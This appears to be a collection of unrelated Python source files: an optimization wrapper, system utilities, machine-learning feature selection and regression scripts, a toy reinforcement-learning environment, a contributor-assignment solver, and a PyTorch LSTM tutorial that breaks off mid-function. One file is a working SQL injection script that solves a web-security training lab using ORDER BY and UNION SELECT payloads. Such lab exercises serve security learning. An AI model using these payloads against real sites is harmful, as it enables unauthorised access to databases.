#!/usr/bin/python

"""

Author: Jun Zhu

"""
import pyOpt

from .linacopt_objective import Objective
from .linacopt_constraint import Constraint
from .linacopt_variable import Variable
from .linacopt_covariable import CoVariable
from .linacopt_staticvariable import StaticVariable

class Optimization(pyOpt.Optimization):
    """Inherited from pyOpt.Optimization class"""
    def __init__(self, name, obj_fun, *args, **kwargs):
        """Initialize Optimization object"""
        self._covariables = {}
        self._staticvariables = {}

        super().__init__(name, obj_fun, *args, **kwargs)

    def set_obj(self, *args, **kwargs):
        """Add a objective into the objective set"""
        i = self.firstavailableindex(self._objectives)

        if (len(args) > 0) and isinstance(args[0], Objective):
            self._objectives[i] = args[0]
        else:
            try:
                self._objectives[i] = Objective(*args, **kwargs)
            except:
                raise ValueError("Input is not a valid for a Objective "
                                 "Object instance\n")

        self._remove_duplicity(self._objectives, i)

    def del_obj(self, ix):
        """Delete the objective *ix* from the objective set

        :param ix: int/string
            Index (if int) or name (if string)
        """
        index = -1
        if isinstance(ix, int):
            if ix < 0:
                raise ValueError("Index must be an integer >= 0.\n")
            elif ix not in self._objectives:
                raise ValueError("Index is not found.\n")
            else:
                index = ix
        elif isinstance(ix, str):
            index = self._find_index_by_name(ix, self._objectives)
            if index < 0:
                raise ValueError("Objective '{}' is not found.\n".format(ix))

        del self._objectives[index]

        self.shift_index(self._objectives, index)

    def get_objset(self):
        """Get the objective set"""
        return self._objectives

    def set_con(self, *args, **kwargs):
        """Add a constraint into the constraint set"""
        i = self.firstavailableindex(self._constraints)

        if (len(args) > 0) and isinstance(args[0], Constraint):
            self._constraints[i] = args[0]
        else:
            try:
                self._constraints[i] = Constraint(*args, **kwargs)
            except:
                raise ValueError("Input is not a valid for a Constraint "
                                 "Object instance\n")

        self._remove_duplicity(self._constraints, i)

    def del_con(self, ix):
        """Delete the constraint *ix* from the constraint set

        :param ix: int/string
            Index (if int) or name (if string)
        """
        index = -1
        if isinstance(ix, int):
            if ix < 0:
                raise ValueError("Index must be an integer >= 0.\n")
            elif ix not in self._constraints:
                raise ValueError("Index is not found.\n")
            else:
                index = ix
        elif isinstance(ix, str):
            index = self._find_index_by_name(ix, self._constraints)
            if index < 0:
                raise ValueError("Constraint '{}' is not found.\n".format(ix))

        del self._constraints[index]

        self.shift_index(self._constraints, index)

    def get_conset(self):
        """Get the constraint set"""
        return self._constraints

    def set_var(self, *args, **kwargs):
        """Add a variable into the variable set"""
        i = self.firstavailableindex(self._variables)

        if (len(args) > 0) and isinstance(args[0], Variable):
            self._variables[i] = args[0]
        else:
            try:
                self._variables[i] = Variable(*args, **kwargs)
            except:
                raise ValueError(
                    "Input is not valid for a Variable Object instance.\n")

        # Try to inherit the value from the co-variable set.
        ii = self._find_index_by_name(self._variables[i].name,
                                      self._covariables)
        if ii >= 0:
            self._variables[i].value = self._covariables[ii].value
            self.del_covar(ii)
            print("\n{} was changed from co-variable to variable!".
                  format(self._variables[i].name))

        # Try to inherit the value from the static variable set.
        ii = self._find_index_by_name(self._variables[i].name,
                                      self._staticvariables)
        if ii >= 0:
            self._variables[i].value = self._staticvariables[ii].value
            self.del_staticvar(ii)
            print("\n{} was changed from static variable to variable!".
                  format(self._variables[i].name))

        self._remove_duplicity(self._variables, i)

    def del_var(self, ix):
        """Delete the variable *ix* from the variable set

        :param ix: int/string
            Index (if int) or name (if string)
        """
        index = -1
        if isinstance(ix, int):
            if ix < 0:
                raise ValueError("Index must be an integer >= 0.\n")
            elif ix not in self._variables:
                raise ValueError("Index is not found.\n")
            else:
                index = ix
        elif isinstance(ix, str):
            index = self._find_index_by_name(ix, self._variables)
            if index < 0:
                raise ValueError("Variable '{}' is not found.\n".format(ix))

        del self._variables[index]

        self.shift_index(self._variables, index)

    def get_varset(self):
        """Get the variable set"""
        return self._variables

    def set_covar(self, *args, **kwargs):
        """Add a co-variable into the co-variable set"""
        i = self.firstavailableindex(self._covariables)

        if (len(args) > 0) and isinstance(args[0], CoVariable):
            self._covariables[i] = args[0]
        else:
            try:
                self._covariables[i] = CoVariable(*args, **kwargs)
            except:
                raise ValueError(
                    "Input is not valid for a CoVariable object instance.\n")

        # Variable and static-variable cannot be changed to co-variable since
        # they will lose their values in the last optimization.
        try:
            self.del_var(self._covariables[i].name)
            print("\n{} was changed from variable to co-variable!".
                  format(self._covariables[i].name))
            print("Warning: changing variable to co-variable may lose "\
                  "the optimized result!\n")
        except ValueError:
            pass

        try:
            self.del_staticvar(self._covariables[i].name)
            print("\n{} was changed from static variable to co-variable!".
                  format(self._covariables[i].name))
            print("Warning: changing static variable to co-variable may lose "\
                  "the optimized result!\n")
        except ValueError:
            pass

        self._remove_duplicity(self._covariables, i)

    def del_covar(self, ix):
        """Delete the co-variable *ix* from the co-variable set

        :param ix: int/string
            Index (if int) or name (if string)
        """
        index = -1
        if isinstance(ix, int):
            if ix < 0:
                raise ValueError("Index must be an integer >= 0.\n")
            elif ix not in self._covariables:
                raise ValueError("Index is not found.\n")
            else:
                index = ix
        elif isinstance(ix, str):
            index = self._find_index_by_name(ix, self._covariables)
            if index < 0:
                raise ValueError("Co-variable '{}' is not found.\n".format(ix))

        del self._covariables[index]

        self.shift_index(self._covariables, index)

    def get_covarset(self):
        """Get co-variable set"""
        return self._covariables

    def set_staticvar(self, *args, **kwargs):
        """Add a static variable into the static variable set"""
        i = self.firstavailableindex(self._staticvariables)

        if (len(args) > 0) and isinstance(args[0], StaticVariable):
            self._staticvariables[i] = args[0]
        else:
            try:
                self._staticvariables[i] = StaticVariable(*args, **kwargs)
            except:
                raise ValueError(
                    "Input is not valid for a StaticVariable object instance\n")

        # Try to inherit the value from the variable set.
        ii = self._find_index_by_name(self._staticvariables[i].name,
                                      self._variables)
        if ii >= 0:
            self._staticvariables[i].value = self._variables[ii].value
            self.del_var(ii)
            print("\n{} was changed from variable to static variable!\n".
                  format(self._staticvariables[i].name))

        # Try to inherit the value from the co-variable set.
        ii = self._find_index_by_name(self._staticvariables[i].name,
                                      self._covariables)
        if ii >= 0:
            self._staticvariables[i].value = self._covariables[ii].value
            self.del_covar(ii)
            print("\n{} was changed from co-variable to static variable!\n".
                  format(self._staticvariables[i].name))

        if self._staticvariables[i].value is None:
            raise ValueError("Unknown value of static variable: {}".
                             format(self._staticvariables[i].name))

        self._remove_duplicity(self._staticvariables, i)

    def del_staticvar(self, ix):
        """Delete static variable *ix* from the static variable set

        :param ix: int/string
            Index (if int) or name (if string)
        """
        index = -1
        if isinstance(ix, int):
            if ix < 0:
                raise ValueError("Index must be an integer >= 0.\n")
            elif ix not in self._staticvariables:
                raise ValueError("Index is not found.\n")
            else:
                index = ix
        elif isinstance(ix, str):
            index = self._find_index_by_name(ix, self._staticvariables)
            if index < 0:
                raise ValueError("Static-variable '{}' is not found.\n".
                                 format(ix))

        del self._staticvariables[index]

        self.shift_index(self._staticvariables, index)

    def get_staticvarset(self):
        """Get the static variable set"""
        return self._staticvariables

    @staticmethod
    def shift_index(dict_, index):
        """"""
        while len(dict_) > index:
            dict_[index] = dict_[index+1]
            del dict_[index+1]
            index += 1

    @staticmethod
    def _remove_duplicity(dict_, ii):
        """Remove duplicity

        If the name of the ii-th item is equal to the name of another
        item with index i, the i-th item is set equal to the ii-th item
        and the latter is then removed.
        """
        for i, item in dict_.items():
            if i != ii and item.name == dict_[ii].name:
                dict_[i] = dict_[ii]
                del dict_[ii]
                return

    @staticmethod
    def _find_index_by_name(name, dict_):
        """Return the index of object with object.name == name"""
        index = -1
        for key, ele in dict_.items():
            if name == ele.name:
                index = key

        return index

    def __str__(self):
        """Print Structured Optimization Problem

        Overwrite the original method to include the summary of
        co-variables, static variables as well as functions in
        constraints and objectives.
        """
        text = "\nOptimization Problem -- %s\n%s\n" % (self.name, '='*80)

        text += "\nObjectives:\n"\
                "  {:18}  {:11}  {:11}  {:16}\n"\
                .format('Name', 'Value', 'Optimum', 'Function')

        for index in list(self._objectives.keys()):
            lines = str(self._objectives[index]).split('\n')
            text += lines[1] + '\n'

        if len(list(self._constraints.keys())) > 0:
            text += "\nConstraints:\n"\
                    "  {:18}  {:11}  {:48}\n"\
                    .format('Name', 'Value', 'Bound')
            for index in list(self._constraints.keys()):
                lines = str(self._constraints[index]).split('\n')
                text += lines[1] + '\n'

        text += "\nVariables (c - continuous, i - integer, d - discrete):\n"\
                "  {:18}  {:6}  {:11}  {:11}  {:11}\n"\
                .format('Name', 'Type', 'Value', 'Lower Bound', 'Upper Bound')
        for index in list(self._variables.keys()):
            lines = str(self._variables[index]).split('\n')
            text += lines[1] + '\n'

        if len(list(self._covariables.keys())) > 0:
            text += "\nCo-variables:\n"\
                    "  {:18}  {:16}  {:11}  {:11}\n"\
                    .format('Name', 'Dependent(s)', 'Slope(s)', 'Intercept')
            for index in list(self._covariables.keys()):
                lines = str(self._covariables[index]).split('\n')
                text += lines[1] + '\n'

        if len(list(self._staticvariables.keys())) > 0:
            text += "\nStatic variables:\n"\
                    "  {:18}  {:11}\n".format('Name', 'Value')
            for index in list(self._staticvariables.keys()):
                lines = str(self._staticvariables[index]).split('\n')
                text += lines[1] + '\n'

        return text


import random
import os
import errno
import functools
import socket
import fcntl
import struct
import array

from machination.exceptions import InvalidArgumentNumberError
from machination.exceptions import ArgumentValidationError

def ordinal(num):
    '''
    Returns the ordinal number of a given integer, as a string.
    eg. 1 -> 1st, 2 -> 2nd, 3 -> 3rd, etc.
    '''
    if 10 <= num % 100 < 20:
        return '{0}th'.format(num)
    else:
        val = {1 : 'st', 2 : 'nd', 3 : 'rd'}.get(num % 10, 'th')
        return '{0}{1}'.format(num, val)

def accepts(*accepted_arg_types):
    '''
    A decorator to validate the parameter types of a given function.
    It is passed a tuple of types. eg. (<type 'tuple'>, <type 'int'>)

    Note: It doesn't do a deep check, for example checking through a
          tuple of types. The argument passed must only be types.
    '''
    def accept_decorator(validate_function):
        # Check if the number of arguments to the validator
        # function is the same as the arguments provided
        # to the actual function to validate. We don't need
        # to check if the function to validate has the right
        # amount of arguments, as Python will do this
        # automatically (also with a TypeError).
        @functools.wraps(validate_function)
        def decorator_wrapper(*function_args, **function_args_dict):
            if len(accepted_arg_types) is not len(accepted_arg_types):
                raise InvalidArgumentNumberError(validate_function.__name__)

            # We're using enumerate to get the index, so we can pass the
            # argument number with the incorrect type to ArgumentValidationError.
            for arg_num, (actual_arg, accepted_arg_type) in enumerate(zip(function_args, accepted_arg_types)):

                if accepted_arg_type != None and not isinstance(actual_arg,accepted_arg_type):
                    ord_num = ordinal(arg_num + 1)
                    raise ArgumentValidationError(ord_num,
                                                  validate_function.__name__,
                                                  accepted_arg_type)

            return validate_function(*function_args)
        return decorator_wrapper
    return accept_decorator

def listPath(d):
    if(os.path.exists(d)):
        return [os.path.join(d, f) for f in os.listdir(d)]
    else:
        return []

def randomMAC():
    mac = [ 0x00, 0x16, 0x3e,
        random.randint(0x00, 0x7f),
        random.randint(0x00, 0xff),
        random.randint(0x00, 0xff) ]
    return ':'.join(map(lambda x: "%02x" % x, mac))

def mkdir_p(path):
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

def demote(user_uid, user_gid):
    def result():
        os.setgid(user_gid)
        os.setuid(user_uid)
    return result

def getAllNetInterfaces():
    max_possible = 128  # arbitrary. raise if needed.
    vals = max_possible * 32
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    names = array.array('B', '\0' * vals)
    outbytes = struct.unpack('iL', fcntl.ioctl(
        s.fileno(),
        0x8912,  # SIOCGIFCONF
        struct.pack('iL', vals, names.buffer_info()[0])
    ))[0]
    namestr = names.tostring()
    lst = []
    for i in range(0, outbytes, 40):
        name = namestr[i:i+16].split('\0', 1)[0]
        if name != "lo":
          lst.append(name)
    return lst


import os
import csv
import numpy as np
import scipy.io as sio
# import bct
from sklearn.linear_model import RidgeClassifier
from sklearn.feature_selection import RFE
from sklearn.linear_model import ElasticNet
# from nilearn import connectome
from scipy import stats
#from sklearn.feature_selection import SelectFromModel
#from sklearn.linear_model import LassoCV
from sklearn import linear_model
import pickle
# import tensorflow as tf
import shutil
import json
from tempfile import mkdtemp
# from tqdm import tqdm
from joblib import Parallel, delayed
# import depmeas
# Reading and computing the input data
# Selected pipeline
#pipeline = 'cpac'
seed = 123 #123
np.random.seed(seed)
# tf.set_random_seed(seed)

'''input: (subs, sequences, features)
select features and return selected features idx'''

def feature_selection(matrix, labels, fnum):
    """
        matrix       : feature matrix (num_subjects x num_features)
        labels       : ground truth labels (num_subjects x 1)
        train_ind    : indices of the training samples
        fnum         : size of the feature vector after feature selection
    return:
        x_data      : feature matrix of lower dimension (num_subjects x fnum)
    """
    estimator = RidgeClassifier()
    selector = RFE(estimator, fnum, step=100, verbose=1)
    # featureX = matrix
    # featureY = labels
    featureX = matrix.view(-1, matrix.shape[2])
    matrix_ = featureX
    featureY = np.repeat(labels, matrix.shape[1])
    selector = selector.fit(featureX, featureY)
    x_data = selector.transform(matrix_)
    a = np.array(selector.get_support())
    selected_features = np.where(a == 1)[0]
    # print("Number of labeled samples %d" % len(train_ind))
    # print("Number of features selected %d" % x_data.shape[1])
    return x_data, selected_features

def ttest_feature_selection(matrix, labels):
    trainNormal_idx = np.where(labels == 0)[0]
    trainPatient_idx = np.where(labels == 1)[0]
    # trainNormal_idx = np.where(labels[train_ind] == 1)[0]
    # trainPatient_idx = np.where(labels[train_ind] == 2)[0]
    matrix1 = matrix[trainNormal_idx,:].view(-1, matrix.shape[2])
    matrix2 = matrix[trainPatient_idx,:].view(-1, matrix.shape[2])
    tTestResult = stats.ttest_ind(matrix1, matrix2, equal_var=False)  # two tail t-test
    # selectedFeatures = np.where(tTestResult.pvalue < 0.01)[0]
    selectedFeatures = np.where(tTestResult.pvalue < 0.00001)[0]
    ###################################
    # x_data = matrix[..., selectedFeatures]
    # file_path = '/home/jiyeon/DATA2/interplet_GCN_final/ADAI/for_present/dAD_nAD/fmri_featureIdx_%d.npy' % (cv)
    # file_path2 = '/home/jiyeon/DATA2/interplet_GCN_final/ADAI/for_present/dAD_nAD/fmri_featureIdx_%d_p_val.npy' % (cv)
    # directory = os.path.dirname(file_path)
    # if not os.path.exists(directory):
    #     os.makedirs(directory)
    # sio.savemat(file_path2, {'p_val': tTestResult.pvalue})
    # sio.savemat(file_path, {'selectedFeatures': list(selectedFeatures)})
    # np.save(file_path2,tTestResult.pvalue)
    # np.save(file_path,selectedFeatures)
    return selectedFeatures

def lasso_feature_selection(matrix, labels):
    #clf = linear_model.Lasso(alpha=0.0001)
    #clf = linear_model.Lasso(alpha=0.0003)
    #clf = linear_model.Lasso(alpha=0.0006)
    # clf = linear_model.Lasso(alpha=0.001)
    #clf = linear_model.Lasso(alpha=0.003)
    #clf = linear_model.Lasso(alpha=0.006)
    clf = linear_model.Lasso(alpha=0.01)
    # clf = linear_model.Lasso(alpha=0.03)
    #clf = linear_model.Lasso(alpha=0.06)
    matrix_=matrix.view(-1, matrix.shape[2])
    labels_=np.repeat(labels, matrix.shape[1])
    clf.fit(matrix_, labels_)
    selectedFeaturesIdx = np.where(clf.coef_ != 0)[0]
    # x_data = matrix_[..., selectedFeaturesIdx]
    return selectedFeaturesIdx

def ElasticNet_feature_selection(matrix, labels):
    # regr = ElasticNet(random_state=0, alpha=0.00001)
    # regr = ElasticNet(random_state=0, alpha=0.00003)
    # regr = ElasticNet(random_state=0, alpha=0.00006)
    # regr = ElasticNet(random_state=0, alpha=0.0001)
    # regr = ElasticNet(random_state=0, alpha=0.0003)
    # regr = ElasticNet(random_state=0, alpha=0.0006)
    # regr = ElasticNet(random_state=0, alpha=0.001)
    # regr = ElasticNet(random_state=0, alpha=0.003)
    # regr = ElasticNet(random_state=0, alpha=0.006)
    regr = ElasticNet(random_state=0, alpha=0.02)
    # regr = ElasticNet(random_state=0, alpha=0.03)
    # regr = ElasticNet(random_state=0, alpha=0.06)
    matrix_ = matrix.view(-1, matrix.shape[2])
    labels_ = np.repeat(labels, matrix.shape[1])
    regr.fit(matrix_, labels_)
    selectedFeaturesIdx = np.where(regr.coef_ != 0)[0]
    # x_data = matrix[:, selectedFeaturesIdx]
    return selectedFeaturesIdx


import numpy as np
import pandas as pd
from scipy import stats
from sklearn import datasets
from sklearn.model_selection import KFold
from sklearn.model_selection import GridSearchCV
from sklearn.gaussian_process import kernels as sk_kern
from sklearn.gaussian_process import GaussianProcessRegressor
from sklearn import preprocessing
from sklearn.ensemble import RandomForestRegressor
from statistics import mean
import sys

# python corr_run.py INPUT_PATH SEED
# ex) python corr_run.py ../Input/ddG.csv 1
args = sys.argv
INPUT_PATH = args[1]
SEED = int(args[2])
NUM_SPLIT = 4
CONS4 = ['SIE-Scwrlmut', 'Rosmut', 'FoldXB', 'FoldXS', 'EXPT']
CONS3 = ['SIE-Scwrlmut', 'Rosmut', 'FoldXS', 'EXPT']
FI4 = ['SIE-Scwrlmut', 'Rosmut', 'DS-B', 'mCSM-AB', 'EXPT']

def standardization(df):
    y = df['EXPT']
    X = df.drop('EXPT', axis=1)
    X = (X - X.values.mean()) / X.values.std(ddof=0)
    df = pd.concat([X, y], axis=1)
    return df

def calc_gpr(df, kf):
    GP_corr_list = []
    df_gpr = df.copy()
    df_gpr = standardization(df_gpr)  # standardization
    for train, test in kf.split(df_gpr):
        kernel = (sk_kern.RBF() +
                  sk_kern.ConstantKernel() +
                  sk_kern.WhiteKernel())

        # separeting data
        train_df = df_gpr.iloc[train]
        test_df = df_gpr.iloc[test]
        train_X = train_df.drop('EXPT', axis=1)
        train_y = train_df['EXPT']
        test_X = test_df.drop('EXPT', axis=1)
        test_y = test_df['EXPT']

        # training
        gp_rbf = GaussianProcessRegressor(kernel=kernel)
        gp_rbf.fit(train_X, train_y)

        # Varidation
        test_gp = gp_rbf.predict(test_X)
        gp_corr = np.corrcoef(test_y, test_gp)[0, 1]
        GP_corr_list.append(gp_corr)
    return str(mean(GP_corr_list))

def calc_rf(df, kf, seed):
    Forest_corr_list = []
    df_rf = df.copy()
    df_rf = standardization(df_rf)  # standardization
    df_fi = pd.DataFrame()
    for i, data in enumerate(kf.split(df_rf)):
        train, test = data
        train_df = df_rf.iloc[train]
        test_df = df_rf.iloc[test]
        train_X = train_df.drop('EXPT', axis=1)
        train_y = train_df['EXPT']
        test_X = test_df.drop('EXPT', axis=1)
        test_y = test_df['EXPT']

        # training
        forest = RandomForestRegressor(random_state=seed)
        params = {'n_estimators': [3, 10, 100, 1000, 10000]}
        forest = GridSearchCV(forest, params, cv=4, scoring='r2', n_jobs=1,iid=False)
        y_forest = forest.fit(train_X, train_y).predict(train_X)

        # varidation
        test_forest = forest.predict(test_X)
        forest_corr = np.corrcoef(test_y, test_forest)[0, 1]
        Forest_corr_list.append(forest_corr)

        # feature importance
        df_fi[str(seed) + str(i)] = forest.best_estimator_.feature_importances_

    # feature importance
    df_fi.index = df.columns[0:-1]
    df_fi.to_csv('../Output/1/' + str(seed) + '.csv')

    return str(mean(Forest_corr_list))

def calc_mono(df, kf):
    mono_list = []
    df_mono = df.copy()
    for data in kf.split(df_mono):
        train, test = data
        test_df = df_mono.iloc[test]

        mono_corr = test_df.corr(method='pearson')
        mono_list.append(mono_corr['EXPT'])

    df_corr = pd.concat(mono_list, axis=1).mean(axis='columns')
    return df_corr

def calc_cons(df, kf):
    cons_list = []
    df_cons = df.copy()
    for data in kf.split(df_cons):
        train, test = data
        test_df = df_cons.iloc[test]
        test_X = test_df.drop('EXPT', axis=1)
        test_y = test_df['EXPT']

        test_cons = test_X.apply(calc_zscore, axis=0).mean(axis=1)
        cons_corr = np.corrcoef(test_y, test_cons)[0, 1]
        cons_list.append(cons_corr)
    return str(mean(cons_list))

def calc_zscore(score_list):
    MAD = score_list.mad()
    med = score_list.median()
    zscore = (score_list - med)/(1.4826*MAD)
    return zscore

def main():
    df = pd.read_csv(INPUT_PATH)
    kf = KFold(n_splits=NUM_SPLIT, random_state=SEED, shuffle=True)
    print('cons4\t' + calc_cons(df[CONS4], kf))
    print('cons3\t' + calc_cons(df[CONS3], kf))
    df_st = standardization(df)
    print('RFR_4\t' + calc_rf(df[FI4], kf, SEED))
    print('RFR\t' + calc_rf(df, kf, SEED))
    print('GPR\t' + calc_gpr(df_st, kf))
    print('GPR_4\t' + calc_gpr(df_st[FI4], kf))

    print(calc_mono(df, kf))

if __name__ == '__main__':
    main()


# -*- coding: utf-8 -*-
"""
Spyder Editor

This is a temporary script file.
"""

##Importing general libraries
import numpy as np
import random
#game environment libraries
from gym import Env
from gym.spaces import Box, Discrete
#deep larning libraries
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Flatten
from tensorflow.keras.optimizers import Adam
#libraries for reinforced learning
from rl.agents import DQNAgent
from rl.policy import BoltzmannQPolicy
from rl.memory import SequentialMemory

###############     Creating custom reinforced learning environment     ###############
class CustomEnv(Env):
    def __init__(self):
        self.action_space = Discrete(3)  #for battleship will probably make this a set of 2 coordinates, each, from 0-10
        self.observation_space = Box(low=np.array([0]), high=np.array([100])) #will probably hold the battlefield here
        self.state = 38 + random.randint(-3, 3)
        self.shower_length = 60  #for battleship this will probably hold the max ammount of turns, in case no one wins

    #the step function defines what should be done after taking an action in our game
    def step(self, action):
        self.state = self.state + action -1
        self.shower_length -= 1

        #Calculating reward
        if self.state >= 37 and self.state <=39:
            reward = 1
        else:
            reward = -1

        #Checking if shower is done
        if self.shower_length <=0:
            done = True
        else:
            done = False

        #Setting placeholder for info
        info = {}

        return self.state, reward, done, info

    def render(self):
        #this is where you should write the visualiozation code
        return 0

    def reset(self):
        self.state = 38 + random.randint(-3, 3)
        self.shower_length = 60
        return self.state

env = CustomEnv()

episodes = 20
for episode in range(1, episodes+1):
    state = env.reset()
    done = False
    score = 0

    while not done:
        action = env.action_space.sample()
        n_state, reward, done, info = env.step(action)
        score += reward
    print("Episode:{} Score:{}".format(episode, score))

###############     Creating simple Deep Learning model     ###############

states = env.observation_space.shape
actions = env.action_space.n

def build_model(states, actions):
    model = Sequential()
    model.add(Dense(24,activation="relu", input_shape=states))
    model.add(Dense(24, activation="relu"))
    model.add(Dense(actions, activation="linear"))
    return model

model = build_model(states, actions)

model.summary()

###############     Creating the agent with Keras-ReinforcementLearning     ###############

def build_agent(model, actions):
    policy = BoltzmannQPolicy()
    memory = SequentialMemory(limit = 50000, window_length=1)
    dqn = DQNAgent(model=model, memory = memory, policy=policy,
                   nb_actions=actions, nb_steps_warmup=10, target_model_update=1e-2)
    return dqn

dqn = build_agent(model, actions)
dqn.compile(Adam(lr=1e-3), metrics=["mae"])
dqn.fit(env, nb_steps=60000, visualize=False, verbose = 1)

results = dqn.test(env, nb_episodes=150, visualize=False)
print(np.mean(results.history["episode_reward"]))


# Retrieving data from other database tables
# Union 2 - Finding columns with a useful data type in an SQL injection UNION attack

import requests
url = "https://ace91f191e10345d80a30dbf006100af.web-security-academy.net/filter?category=Lifestyle"

def enum_columns():
    '''
    Get valid number of columns using ORDER BY query
    '''
    for x in range(1,10):
        payload = f"' ORDER BY {x}--"
        r = requests.get(url+payload)
        if r.status_code == 500:
            break
    return x-1

def generate_payload(size, loop_no):
    '''
    Generates a payload containing the string to be matched iterating over the number of columns
    '''
    nulls = ['NULL']*size
    nulls[loop_no] = "'e9dpI1'" # String to be matched - given in the exercise
    payload = "' UNION SELECT "
    payload += ",".join(nulls)
    payload += "--"
    return payload

size = enum_columns()
try:
    for x in range(size):
        payload = generate_payload(size, x)
        print(f"Loop: {x}, using payload {payload}")
        r_solve = requests.get(url+payload)
        if "Congratulations, you solved the lab!" in r_solve.text:
            print("yeet!")
            break
        else:
            print("sad noises :(")
except Exception as e:
    print("Something went wrong:", e)


from sys import stdin, stdout
from collections import defaultdict
import random
finput = stdin.readline
fprint = stdout.write

class Contributor:
    def __init__(self, name, skills):
        self.name = name
        self.skills = skills
        self.available = True

class Project:
    def __init__(self, name, days, score, best_before, roles):
        self.name = name
        self.days = days
        self.score = score
        self.best_before = best_before
        self.roles = roles
        self.assigned = [None] * len(roles)

n_contributors, n_projects = map(int, finput().split(" "))
contributors = []
for _ in range(n_contributors):
    name, n_skills = finput().split(" ")
    skills = defaultdict(int)
    for _ in range(int(n_skills)):
        skill_name, skill_level = finput().split(" ")
        skills[skill_name] = int(skill_level)
    new_contributor = Contributor(name, skills)
    contributors.append(new_contributor)
projects = []
for _ in range(n_projects):
    name, *params = finput().split(" ")
    days, score, best_before, n_roles = map(int, params)
    roles = []
    for _ in range(n_roles):
        skill_name, level_required = finput().split(" ")
        roles.append([skill_name, int(level_required)])
    new_project = Project(name, days, score, best_before, roles)
    projects.append(new_project)

cskills = defaultdict(list)
for contributor in contributors:
    for skill in contributor.skills:
        cskills[skill].append(contributor)

projects.sort(key=lambda p: (-p.best_before, -p.score, p.days))
for project in projects:
    assigned_contributors = []
    for i, role in enumerate(project.roles):
        for contributor in cskills[role[0]]:
            if  contributor.skills[role[0]] >= role[1] and contributor.available:
                assigned_contributors.append(contributor)
                project.assigned[i] = contributor.name
                contributor.available = False
                break
    for contributor in assigned_contributors:
        contributor.available = True

ans = []
for project in projects:
    assigned = project.assigned
    if all(assigned):
        ans.append(project.name + '\n' + ' '.join(assigned))
fprint(str(len(ans)) + '\n' + '\n'.join(ans))

# ----------------TEST---------------------
# print("Contributor List :", contributors)
# for contributor in contributors:
#     print("\n  Name   :", contributor.name)
#     print("  Skills :", contributor.skills)
# print("\nProjects List", projects)
# for project in projects:
#     print("\n  Name  :", project.name)
#     print("  Days  :", project.days)
#     print("  Score :", project.score)
#     print("  Best Before:", project.best_before)
#     print("  Roles :", project.roles)
# ----------------COMMENT-------------------


import torch
import numpy as np

from torch.autograd import Variable
from torch.nn import functional as F

# Let's start from inputting data into a simple RNN first

class TutorialLSTM(torch.nn.Module):

    def __init__(self, nb_layers, nb_lstm_units=100, nb_lstm_layers=1, embedding_dim=3, n_factors=3, batch_size=3):

        super(TutorialLSTM, self).__init__()

        self.vocab = {'<PAD>': 0, 'is': 1, 'it': 2, 'too': 3, 'late': 4, 'now': 5, 'say': 6, 'sorry': 7, 'ooh': 8, 'yeah':9}
        self.tags = {'<PAD>': 0, 'VB': 1, 'PRP': 2, 'RB': 3, 'JJ': 4, 'NNP': 5}

        self.nb_layers = nb_layers
        self.nb_lstm_units = nb_lstm_units
        self.nb_lstm_layers = nb_lstm_layers
        self.embedding_dim = embedding_dim
        self.n_factors = n_factors
        self.batch_size = batch_size
        self.nb_vocab_words = len(self.vocab)

        self.nb_tags = len(self.tags) - 1

        # self.lstm

        self.__build_model()

    def __build_model(self):

        nb_vocab_words = len(self.vocab)

        padding_idx = self.vocab['<PAD>']
        self.word_embedding = torch.nn.Embedding(
            num_embeddings=nb_vocab_words,
            embedding_dim=self.embedding_dim,
            padding_idx=padding_idx
        )

        self.lstm = torch.nn.LSTM(
            input_size=self.embedding_dim,
            hidden_size=self.nb_lstm_units,
            num_layers=self.nb_lstm_layers,
            batch_first=True,
        )

        self.hidden_to_tag = torch.nn.Linear(self.nb_lstm_units, self.nb_tags)

        # the feedforward NN for the attention layer
        # self.attetion_a = torch.nn.Linear()

        # the feedforward NN for the contextual
        # TODO: change to Xavier initialization later
        self.Wc = torch.randn(self.n_factors, self.nb_lstm_units, self.nb_lstm_units)
        self.Wm = torch.randn(self.nb_lstm_units, self.nb_vocab_words)
        self.Wy = torch.randn(self.nb_lstm_units, 1)

    def init_hidden(self):
        hidden_a = torch.randn(self.nb_lstm_layers, self.batch_size, self.nb_lstm_units)
        hidden_b = torch.randn(self.nb_lstm_layers, self.batch_size, self.nb_lstm_units)

        hidden_a = Variable(hidden_a)
        hidden_b = Variable(hidden_b)

        return  (hidden_a, hidden_b)

    def forward(self, X, X_lengths, Xc):
        self.hidden = self.init_hidden()
        # self.hidden = torch.randn(self.nb_lstm_layers, self.batch_size, self.nb_lstm_units)

        batch_size, seq_len = X.size()

        X = self.word_embedding(X)

        X = torch.nn.utils.rnn.pack_padded_sequence(X, X_lengths, batch_first=True)

        X, self.hidden = self.lstm(X, self.hidden)

        hs, _ = self.hidden

        # print ("hs:", hs) #sequence embeedding

        # TODO: attention layer here

        bc = torch.matmul(hs.transpose(0,1), self.Wc[torch.argmax(Xc, axis=0)])
        bc = torch.squeeze(bc)

        # print ("hs + bc:", (hs+bc).shape)
        # print ("(hs + bc) * Wm)", torch.matmul(hs + bc, self.Wm).shape)

        output_m = torch.matmul(hs + bc, self.Wm)
        output_y = torch.matmul(hs + bc, self.Wy)
        #
        #
        # X, _ = torch.nn.utils.rnn.pad_packed_sequence(X, batch_first=True)
        #
        # X = X.contiguous()
        # X = X.view(-1, X.shape[2])
        #
        # X = self.hidden_to_tag(X)
        #
        # X = F.log_softmax(X, dim=1)
        #
        # X = X.view(batch_size, seq_len, self.nb_tags)
        #
        # y_hat = X
        #
        # return y_hat
        return output_m, output_y

    def _sequence_mask(self, sequence_length, max_len=None):
        if max_len is None:
            max_len = sequence_length.data.max()

        batch_size = sequence_length.size(0)
        seq_range = torch.range(0, max_len - 1).long()
        seq_range_expand = seq_range.unsqueeze(0).expand(batch_size, max_len)
        seq_range_expand = Variable(seq_range_expand)

        seq_length_expand = (sequence_length.unsqueeze(1).expand_as(seq_range_expand))

        return seq_range_expand < seq_length_expand

    def compute_loss(self, Y_hat, Y, X_lenghts):
        """
        Reference: https://gist.github.com/jihunchoi/f1434a77df9db1bb337417854b398df1
        """

        logits_flat = Y_hat.view(-1, Y_hat.size(-1))
        log_probs_flat = F.log_softmax(logits_flat)

        target_flat = Y.view(-1, 1)
        target_flat -= 1
        target_flat[target_flat < 0] = 0

        losses_flat = -torch.gather(log_probs_flat, dim=1, index=target_flat)

        losses = losses_flat.view(*Y.size())

